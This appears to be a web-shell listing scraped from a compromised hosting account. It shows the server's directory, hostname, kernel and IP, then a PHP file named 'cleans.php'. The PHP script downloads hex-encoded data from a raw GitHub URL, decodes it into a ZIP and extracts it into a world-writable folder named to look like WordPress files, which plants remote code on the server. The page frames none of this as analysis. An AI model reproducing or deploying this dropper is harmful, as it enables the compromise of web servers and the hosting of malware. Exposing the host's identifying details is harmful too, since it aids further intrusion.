PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/expertphotography.kerihosting.comcleans.php

<!DOCTYPE html>
<html>
<head>
    <title>ZIP github</title>
</head>
<body>
    <?php
    
    $githubUrl = 'https://raw.githubusercontent.com/youngkmd/youngkmd/main/yami.txt';
    
    $localHexFile = 'hexfile.txt';

    
    $hexData = file_get_contents($githubUrl);
    if ($hexData === false) {
        echo "error";
    } else {
        
        file_put_contents($localHexFile, $hexData);

        
        $hexData = file_get_contents($localHexFile);
        if ($hexData === false) {
            echo "error";
        } else {
            
            $hexData = preg_replace('/[^0-9a-fA-F]/', '', $hexData);

            
            if (strlen($hexData) % 2 != 0) {
                echo "222";
            } else {
               
                $binaryData = hex2bin($hexData);

                if ($binaryData === false) {
                    echo "error to unhex";
                } else {
                    
                    $zipFilePath = 'temp.zip';
                    file_put_contents($zipFilePath, $binaryData);

                    
                    $zip = new ZipArchive;
                    if ($zip->open($zipFilePath) === TRUE) {
                        
                        $extractPath = 'extractes_wordprees/';
                        if (!is_dir($extractPath)) {
                            mkdir($extractPath, 0777, true);
                        }
                        $zip->extractTo($extractPath);
                        $zip->close();
                        echo "unziped: $extractPath";
                    } else {
                        echo "error to open ZIP.";
                    }

                    
                    unlink($zipFilePath);
                }
            }
        }
    }
    ?>
</body>
</html>